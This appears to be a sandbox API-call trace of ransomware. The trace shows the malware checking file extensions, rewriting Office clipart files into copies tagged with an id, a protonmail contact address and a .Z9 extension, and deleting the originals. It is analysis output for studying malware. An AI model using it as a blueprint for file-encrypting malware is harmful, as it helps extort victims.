	[0096.553] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0096.553] lstrlenW (lpString=".jpg") returned 4
	[0096.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0096.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0096.553] lstrlenW (lpString=".doc") returned 4
	[0096.553] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.553] lstrlenW (lpString=".docx") returned 5
	[0096.553] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0096.554] lstrlenW (lpString=".pdf") returned 4
	[0096.554] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.554] lstrlenW (lpString=".xls") returned 4
	[0096.554] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.554] lstrlenW (lpString=".xlsx") returned 5
	[0096.554] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0096.554] lstrlenW (lpString=".ppt") returned 4
	[0096.554] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0096.554] lstrlenW (lpString=".zip") returned 4
	[0096.554] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.554] lstrlenW (lpString=".rar") returned 4
	[0096.554] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.554] lstrlenW (lpString=".bz2") returned 4
	[0096.554] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.554] lstrlenW (lpString=".7z") returned 3
	[0096.554] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0096.554] lstrlenW (lpString=".dbf") returned 4
	[0096.554] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0096.554] lstrlenW (lpString=".1cd") returned 4
	[0096.554] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0096.554] lstrlenW (lpString=".jpg") returned 4
	[0096.554] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.554] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0096.554] lstrlenW (lpString="J0093905.WMF") returned 12
	[0096.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0096.555] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=42050) returned 1
	[0096.555] CloseHandle (hObject=0x35c) returned 1
	[0096.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 0x220
	[0096.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0096.555] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.555] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0096.556] GetLastError () returned 0x0
	[0096.556] ReadFile (in: hFile=0x35c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xa442, lpOverlapped=0x0) returned 1
	[0096.557] WriteFile (in: hFile=0x36c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xa450, lpOverlapped=0x0) returned 1
	[0096.559] ReadFile (in: hFile=0x35c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.559] WriteFile (in: hFile=0x36c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0096.559] SetEndOfFile (hFile=0x36c) returned 1
	[0096.559] CloseHandle (hObject=0x36c) returned 1
	[0096.559] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.559] SetEndOfFile (hFile=0x35c) returned 1
	[0096.560] CloseHandle (hObject=0x35c) returned 1
	[0096.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0096.561] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 1
	[0096.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0096.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0096.561] lstrlenW (lpString=".doc") returned 4
	[0096.561] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.561] lstrlenW (lpString=".docx") returned 5
	[0096.561] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0096.561] lstrlenW (lpString=".pdf") returned 4
	[0096.561] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.561] lstrlenW (lpString=".xls") returned 4
	[0096.561] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.561] lstrlenW (lpString=".xlsx") returned 5
	[0096.561] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0096.561] lstrlenW (lpString=".ppt") returned 4
	[0096.561] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0096.561] lstrlenW (lpString=".zip") returned 4
	[0096.561] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.561] lstrlenW (lpString=".rar") returned 4
	[0096.561] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.561] lstrlenW (lpString=".bz2") returned 4
	[0096.561] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.561] lstrlenW (lpString=".7z") returned 3
	[0096.561] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0096.561] lstrlenW (lpString=".dbf") returned 4
	[0096.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0096.562] lstrlenW (lpString=".1cd") returned 4
	[0096.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0096.562] lstrlenW (lpString=".jpg") returned 4
	[0096.562] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0096.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0096.562] lstrlenW (lpString=".doc") returned 4
	[0096.562] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.562] lstrlenW (lpString=".docx") returned 5
	[0096.562] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0096.562] lstrlenW (lpString=".pdf") returned 4
	[0096.562] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.562] lstrlenW (lpString=".xls") returned 4
	[0096.562] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.562] lstrlenW (lpString=".xlsx") returned 5
	[0096.562] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0096.562] lstrlenW (lpString=".ppt") returned 4
	[0096.562] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0096.562] lstrlenW (lpString=".zip") returned 4
	[0096.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.562] lstrlenW (lpString=".rar") returned 4
	[0096.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.562] lstrlenW (lpString=".bz2") returned 4
	[0096.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.562] lstrlenW (lpString=".7z") returned 3
	[0096.562] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0096.562] lstrlenW (lpString=".dbf") returned 4
	[0096.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0096.562] lstrlenW (lpString=".1cd") returned 4
	[0096.563] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0096.563] lstrlenW (lpString=".jpg") returned 4
	[0096.563] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.563] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0096.563] lstrlenW (lpString="J0098497.WMF") returned 12
	[0096.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0096.563] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=4970) returned 1
	[0096.563] CloseHandle (hObject=0x35c) returned 1
	[0096.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 0x220
	[0096.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0096.563] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.564] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0096.564] GetLastError () returned 0x0
	[0096.564] ReadFile (in: hFile=0x35c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x136a, lpOverlapped=0x0) returned 1
	[0096.565] WriteFile (in: hFile=0x36c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x1370, lpOverlapped=0x0) returned 1
	[0096.566] ReadFile (in: hFile=0x35c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.566] WriteFile (in: hFile=0x36c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0096.566] SetEndOfFile (hFile=0x36c) returned 1
	[0096.567] CloseHandle (hObject=0x36c) returned 1
	[0096.567] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.567] SetEndOfFile (hFile=0x35c) returned 1
	[0096.567] CloseHandle (hObject=0x35c) returned 1
	[0096.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0096.568] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 1
	[0096.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0096.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0096.568] lstrlenW (lpString=".doc") returned 4
	[0096.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.568] lstrlenW (lpString=".docx") returned 5
	[0096.568] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0096.568] lstrlenW (lpString=".pdf") returned 4
	[0096.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.568] lstrlenW (lpString=".xls") returned 4
	[0096.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.568] lstrlenW (lpString=".xlsx") returned 5
	[0096.568] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0096.568] lstrlenW (lpString=".ppt") returned 4
	[0096.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0096.568] lstrlenW (lpString=".zip") returned 4
	[0096.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.568] lstrlenW (lpString=".rar") returned 4
	[0096.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.568] lstrlenW (lpString=".bz2") returned 4
	[0096.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.568] lstrlenW (lpString=".7z") returned 3
	[0096.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0096.569] lstrlenW (lpString=".dbf") returned 4
	[0096.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0096.569] lstrlenW (lpString=".1cd") returned 4
	[0096.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0096.569] lstrlenW (lpString=".jpg") returned 4
	[0096.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0096.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0096.569] lstrlenW (lpString=".doc") returned 4
	[0096.569] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.569] lstrlenW (lpString=".docx") returned 5
	[0096.569] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0096.569] lstrlenW (lpString=".pdf") returned 4
	[0096.569] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.569] lstrlenW (lpString=".xls") returned 4
	[0096.569] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.569] lstrlenW (lpString=".xlsx") returned 5
	[0096.569] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0096.569] lstrlenW (lpString=".ppt") returned 4
	[0096.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0096.569] lstrlenW (lpString=".zip") returned 4
	[0096.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.569] lstrlenW (lpString=".rar") returned 4
	[0096.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.569] lstrlenW (lpString=".bz2") returned 4
	[0096.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.569] lstrlenW (lpString=".7z") returned 3
	[0096.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0096.569] lstrlenW (lpString=".dbf") returned 4
	[0096.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0096.570] lstrlenW (lpString=".1cd") returned 4
	[0096.570] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0096.570] lstrlenW (lpString=".jpg") returned 4
	[0096.570] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.570] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0096.570] lstrlenW (lpString="J0099145.JPG") returned 12
	[0096.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0096.570] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=24759) returned 1
	[0096.571] CloseHandle (hObject=0x35c) returned 1
	[0096.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 0x220
	[0096.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0096.571] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.571] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0096.571] GetLastError () returned 0x0
	[0096.571] ReadFile (in: hFile=0x35c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x60b7, lpOverlapped=0x0) returned 1
	[0096.573] WriteFile (in: hFile=0x36c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x60c0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x60c0, lpOverlapped=0x0) returned 1
	[0096.575] ReadFile (in: hFile=0x35c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.575] WriteFile (in: hFile=0x36c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0096.575] SetEndOfFile (hFile=0x36c) returned 1
	[0096.575] CloseHandle (hObject=0x36c) returned 1
	[0096.575] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.575] SetEndOfFile (hFile=0x35c) returned 1
	[0096.576] CloseHandle (hObject=0x35c) returned 1
	[0096.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0096.576] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 1
	[0096.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0096.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0096.577] lstrlenW (lpString=".doc") returned 4
	[0096.577] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0096.577] lstrlenW (lpString=".docx") returned 5
	[0096.577] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0096.577] lstrlenW (lpString=".pdf") returned 4
	[0096.577] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0096.577] lstrlenW (lpString=".xls") returned 4
	[0096.577] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0096.577] lstrlenW (lpString=".xlsx") returned 5
	[0096.577] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0096.577] lstrlenW (lpString=".ppt") returned 4
	[0096.577] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0096.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0096.577] lstrlenW (lpString=".zip") returned 4
	[0096.577] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0096.577] lstrlenW (lpString=".rar") returned 4
	[0096.577] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0096.577] lstrlenW (lpString=".bz2") returned 4
	[0096.577] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0096.577] lstrlenW (lpString=".7z") returned 3
	[0096.577] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0096.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0096.577] lstrlenW (lpString=".dbf") returned 4
	[0096.577] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0096.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0096.577] lstrlenW (lpString=".1cd") returned 4
	[0096.577] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
